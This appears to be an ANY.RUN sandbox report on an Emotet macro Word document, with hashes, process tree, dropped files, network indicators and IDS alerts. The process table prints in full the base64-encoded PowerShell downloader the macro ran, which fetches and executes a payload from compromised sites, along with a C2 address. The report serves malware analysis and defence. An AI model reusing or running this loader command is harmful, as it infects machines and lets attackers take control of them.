analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

3e425be90bec221a7aca191707505e87

Full analysis: https://app.any.run/tasks/fbd0d7cc-2d4b-48bb-93b2-63764a93bc2c
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 30, 2020, 08:15:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
opendir
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Voluptate., Author: Yanis Gautier, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Sep 28 22:18:00 2020, Last Saved Time/Date: Mon Sep 28 22:18:00 2020, Number of Pages: 1, Number of Words: 3380, Number of Characters: 19268, Security: 8
MD5:

3E425BE90BEC221A7ACA191707505E87

SHA1:

CCB7CCFA76E9F71FCFE11A63145248A8CEBA7314

SHA256:

32EB14D8BCD10B68E5D7AD204F2BF73117E211696210F26CED4D233919309506

SSDEEP:

1536:mxRD3bNqfNpu39IId5a6XP3Mg8afyqOTqc380Y:ER1qf69xak3MgxyhqI80Y

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Magnification.exe (PID: 3224)
      • Onj2qmzt.exe (PID: 2864)

    • Connects to CnC server

      • Magnification.exe (PID: 3224)

    • Changes the autorun value in the registry

      • Magnification.exe (PID: 3224)

    • EMOTET was detected

      • Magnification.exe (PID: 3224)

  • SUSPICIOUS

    • Executed via WMI

      • POwersheLL.exe (PID: 464)

    • Executable content was dropped or overwritten

      • Onj2qmzt.exe (PID: 2864)
      • POwersheLL.exe (PID: 464)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 464)

    • Connects to server without host name

      • Magnification.exe (PID: 3224)

    • Starts itself from another location

      • Onj2qmzt.exe (PID: 2864)

    • Reads Internet Cache Settings

      • Magnification.exe (PID: 3224)

    • PowerShell script executed

      • POwersheLL.exe (PID: 464)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2696)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2696)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
LocaleIndicator: 1033
CodePage: Unicode UTF-16, little endian
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 15
CharCountWithSpaces: 22603
Paragraphs: 45
Lines: 160
Company: -
Security: Locked for annotations
Characters: 19268
Words: 3380
Pages: 1
ModifyDate: 2020:09:28 21:18:00
CreateDate: 2020:09:28 21:18:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Yanis Gautier
Subject: -
Title: Voluptate.
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe onj2qmzt.exe #EMOTET magnification.exe

Process information

PID
CMD
Path
Indicators
Parent process
2696"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\3e425be90bec221a7aca191707505e87.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
464POwersheLL -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATABlAFwAVAA0AFkAeQBlAFIAOABcAGgASgBfAE0ARgBaAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAGAAVQByAGkAYABUAGAAWQBwAFIATwBgAFQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsAHMAJwArACcAMQAxACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQgAzAHUAbwBuAHQAMQAgAD0AIAAoACgAJwBPAG4AagAnACsAJwAyACcAKQArACgAJwBxACcAKwAnAG0AegAnACkAKwAnAHQAJwApADsAJABJAGQAdAA2ADQAZQBuAD0AKAAoACcARAA4ACcAKwAnADMAaAAnACkAKwAoACcANAAnACsAJwB1AHkAJwApACkAOwAkAFoAcgB0AG8AMwA2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAJwBHACcAKwAoACcATAAnACsAJwBUADQAJwApACsAKAAnAHkAJwArACcAeQBlACcAKQArACgAJwByACcAKwAnADgAYwAnACkAKwAnAEcAJwArACgAJwBMACcAKwAnAEgAagBfACcAKQArACgAJwBtACcAKwAnAGYAegB2AGMARwBMACcAKQApAC4AIgBSAGUAYABQAEwAQQBDAGUAIgAoACgAWwBDAGgAYQByAF0AOQA5ACsAWwBDAGgAYQByAF0ANwAxACsAWwBDAGgAYQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEIAMwB1AG8AbgB0ADEAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABJAG8AdAA1AGMAegBrAD0AKAAoACcATQAnACsAJwAzADMAcQA2ADAAJwApACsAJwBmACcAKQA7ACQATgByAG8AbQBvAGcAcgA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AGUAQgBDAEwASQBFAG4AdAA7ACQARQBvADYAMQB4AGMAbwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBlACcAKwAnAGQAdQAnACsAJwAuAGoAJwArACgAJwBtAHMAJwArACcAdgAnACkAKwAoACcAYwBsAGEAcwBzAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQBzACcAKQArACcALwBzACcAKwAoACcAWgAnACsAJwBtAGoAJwApACsAKAAnAFMAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAZABhAHIAJwApACsAJwBrACcAKwAoACcAYgBsAGUAcwAnACsAJwBzACcAKQArACcAaQBuACcAKwAoACcAZwAuACcAKwAnAG4AZQAnACkAKwAoACcAdAAvAGUAJwArACcANAB3AGYAdAAnACkAKwAnAGsAJwArACcAcABuACcAKwAoACcALwBLAE4AQQBPADkALwAqAGgAdAB0AHAAOgAvAC8AdAAnACsAJwByAGEAJwArACcAbgAnACsAJwBjAGkAJwArACcAcwAnACsAJwBjAG8AbgBzACcAKQArACgAJwB1ACcAKwAnAGwAdABpACcAKQArACcAbgBnACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGEAJwApACsAJwBkACcAKwAoACcAbQBpAG4ALwAnACsAJwBFAEUAJwApACsAJwBvAEYAJwArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBkAGUAdgBhAG4AJwArACcAeQBhAHMAJwArACcAdABvAHIAZQAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBjAG8AJwArACcAbgAnACsAJwB0AGUAJwApACsAJwBuACcAKwAoACcAdAAvACcAKwAnADkASgA1ADYAJwApACsAJwBqAHUAJwArACcAQQAnACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AaAAnACsAKAAnAGUAJwArACcAYQBsAHQAaABjAHUAJwArACcAcgBlACcAKQArACcAYQAnACsAKAAnAHQAJwArACcAaABvAG0AJwApACsAKAAnAGUALgAnACsAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBBAEwARgAnACsAJwBBAF8AJwApACsAJwBEAEEAJwArACcAVAAnACsAKAAnAEEALwAnACsAJwBpACcAKQArACgAJwBLACcAKwAnAFMAZAAnACkAKwAnAEMAJwArACgAJwBLACcAKwAnADYALwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAJwB3AHcAJwArACcAdwAnACsAJwAuAHMAJwArACgAJwB6AHcAJwArACcAeQAnACkAKwAnAG0AJwArACgAJwBhAGwAJwArACcAbAAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AJwArACcAdAAvACcAKQArACcAagAnACsAKAAnADIAJwArACcAOQBtACcAKQArACgAJwB2ACcAKwAnAFMALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvAHcAdwAnACsAJwB3AC4AJwApACsAKAAnAGoAbwByAG4AYwBvAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKwAnAHAAJwArACcALQAnACkAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvACcAKwAnAFUAVAAwACcAKQArACgAJwB4AEIAJwArACcASgB3AC8AJwApACkALgAiAHMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBtAGwAXwA4AHIAcQA9ACgAKAAnAEgAJwArACcAeQBvACcAKQArACgAJwBkAGUAJwArACcAbAAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBrAHUAXwB0AGQAXwAgAGkAbgAgACQARQBvADYAMQB4AGMAbwApAHsAdAByAHkAewAkAE4AcgBvAG0AbwBnAHIALgAiAEQAYABvAGAAdwBuAEwATwBhAGQAZgBpAGwARQAiACgAJABCAGsAdQBfAHQAZABfACwAIAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAUABuAGYAOQBmAHoAdAA9ACgAKAAnAFYAZwBvAGEAJwArACcAbgAnACkAKwAnADkAJwArACcAbQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgByAHQAbwAzADYAZgApAC4AIgBMAEUAYABOAGcAYABUAEgAIgAgAC0AZwBlACAAMgAzADIANQAzACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAWABvAHEAaQB5AHIANQA9ACgAKAAnAEIAdQBvACcAKwAnAGwAaAAnACkAKwAnAGkAZgAnACkAOwBiAHIAZQBhAGsAOwAkAFkANgByADUAaAAxAGUAPQAoACcAUwAnACsAJwBmACcAKwAoACcAMgBkAHEAJwArACcAZABuACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAG0AaQA5AGsAdgA5AD0AKAAnAEkAXwAnACsAKAAnAGQAZgBlACcAKwAnAG0AeAAnACkAKQA= C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2864"C:\Users\admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe" C:\Users\admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe
POwersheLL.exe
User:
admin
Company:
Flex Inc.
Integrity Level:
MEDIUM
Description:
Replacement for the Masked Edit Control v 2.0.
Exit code:
0
Version:
2.8.0.3
3224"C:\Users\admin\AppData\Local\pku2u\Magnification.exe"C:\Users\admin\AppData\Local\pku2u\Magnification.exe
Onj2qmzt.exe
User:
admin
Company:
Flex Inc.
Integrity Level:
MEDIUM
Description:
Replacement for the Masked Edit Control v 2.0.
Version:
2.8.0.3
Total events
2 363
Read events
1 481
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2696WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR752A.tmp.cvr —
MD5:—
SHA256:—
464POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RHR75GGZH9XM0Y8H8FSQ.temp —
MD5:—
SHA256:—
2864Onj2qmzt.exeC:\Users\admin\AppData\Local\Temp\~DF3F7E53BF2D4514AC.TMP —
MD5:—
SHA256:—
2696WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:B20B10606CD39B2AB507303481808A41
SHA256:BCA2E0FE5A8BF94CF120BF17070BF9B58BF3405CA6863CAC73293B2C95DA5526
464POwersheLL.exeC:\Users\admin\T4yyer8\Hj_mfzv\Onj2qmzt.exeexecutable
MD5:29D54897415C48836E0BB118EBDD304E
SHA256:D0C05DDFC27042097973C3B90AF09C75D5CE11638F860D9176F8E106A07F6588
2696WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$425be90bec221a7aca191707505e87.docpgc
MD5:EB47024B07A78C90AC92CF10A6AE2B66
SHA256:A5ACD0360FEBC33E5A8C379634F6307A1369375E1C7637D2E8F30597E13AC96E
464POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF228130.TMPbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
464POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
2696WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:FE8468892B6511FAE096F64CE11F40E7
SHA256:79B58FD73C592CBD25DD291CA1F2928110DF4B7C95A59464CCF854335113046C
2864Onj2qmzt.exeC:\Users\admin\AppData\Local\pku2u\Magnification.exeexecutable
MD5:29D54897415C48836E0BB118EBDD304E
SHA256:D0C05DDFC27042097973C3B90AF09C75D5CE11638F860D9176F8E106A07F6588
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
464
POwersheLL.exe
GET
200
160.153.210.213:80
http://edu.jmsvclass.com/wp-includes/sZmjSq/
US
executable
400 Kb
suspicious
3224
Magnification.exe
POST
200
104.193.103.61:80
http://104.193.103.61/oqgN6FsH0WS4zweFXR3/sLqsVWr/b1fKdLrujr/qsfbMXXxLDoT7ModCsM/
US
binary
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3224
Magnification.exe
104.193.103.61:80
—
Delcom, Inc.
US
malicious
464
POwersheLL.exe
160.153.210.213:80
edu.jmsvclass.com
GoDaddy.com, LLC
US
suspicious

DNS requests

Domain
IP
Reputation
edu.jmsvclass.com
  • 160.153.210.213
suspicious

Threats

PID
Process
Class
Message
464
POwersheLL.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
464
POwersheLL.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
464
POwersheLL.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3224
Magnification.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M10
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
3e425be90bec221a7aca191707505e87